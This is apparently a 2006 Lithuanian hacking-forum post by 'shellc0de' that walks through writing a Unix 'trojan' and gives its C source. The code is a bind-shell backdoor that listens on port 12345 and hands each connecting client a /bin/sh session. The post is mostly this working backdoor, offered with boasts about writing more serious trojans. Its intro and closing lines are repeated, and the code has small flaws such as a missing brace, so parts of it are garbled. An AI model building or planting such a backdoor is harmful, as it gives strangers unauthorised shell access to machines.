Trojanų programavimas
Parašytas: 2006 06 16 16:04
Na kad visokie idiotai neknistų proto, pabandysiu pažvelgti į trojaną iš vidaus ( jo source code ) Nemanau kad visi čia esantys "hakeriai" viską supras, todėl jei kas neaišku klauskit 
Taigi po trijų valandų terliojimosi su nano ir gcc pasaulį išvydo dar vienas trojanas skirtas nix sistemai, bet galima paleist ir ant windows :)Ką ??? PRADEDAM:
1. Surenkam reikalingus lib'us
2. Nurodom kokio porto klausys musu kurinys, ir koki shell'a jis paleis
3. Sukuriam main funkcija
3.1 I ja irasom pasveikinimo zinute
3.2 Surasom socketo kintamuosius
3.3 Pati idomiausia dalis
trojano smegenys
Stai pats paprasciausias trojanas, jei kas neaisku pm man ir paaiskinsiu
na aisku jei adminas manes iki tol neuzbanins.
Siuo metu as apsistojes ties rimtu trojanu rasymu, kai bus kas nors parasyta pateiksiu, laukit
ir sekmes.
Kas sake kad lietuviai trojanu neraso ?
shellc0de 2006
Taigi po trijų valandų terliojimosi su nano ir gcc pasaulį išvydo dar vienas trojanas skirtas nix sistemai, bet galima paleist ir ant windows :)Ką ??? PRADEDAM:
1. Surenkam reikalingus lib'us
Kodas: Pasirinkti visus
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>
Kodas: Pasirinkti visus
#define P 12345
#define SH "/bin/sh"
#define LISTN 5
Kodas: Pasirinkti visus
int main(int argc, char **argv)
Kodas: Pasirinkti visus
char *fst = "\nConnected!\n\n";
char *sec = "This tool demonstrated how works trojans\n";
char *thr = "Please enter each command followed by ';'\n";
Kodas: Pasirinkti visus
int outsock, insock, sz;
struct sockaddr_in home;
struct sockaddr_in away;
Kodas: Pasirinkti visus
home.sin_family=AF_INET;
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);
signal(SIGCHLD,SIG_IGN);
if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
exit(printf("Socket error\n"));
if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
exit(printf("Bind error\n"));
if((listen(outsock,LISTN))<0)
exit(printf("Listen error\n"));
sz=sizeof(struct sockaddr_in);
for(;;)
{
if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
exit(printf("Accept error"));
if(fork() !=0)
{
send(insock,fst,strlen(fst),0);
send(insock,sec,strlen(sec),0);
send(insock,thr,strlen(thr),0);
dup2(insock,0);
dup2(insock,1);
dup2(insock,2);
execl(SH,SH,(char *)0);
close(insock);
exit(0);
}
close(insock);
Siuo metu as apsistojes ties rimtu trojanu rasymu, kai bus kas nors parasyta pateiksiu, laukit
Kas sake kad lietuviai trojanu neraso ?
shellc0de 2006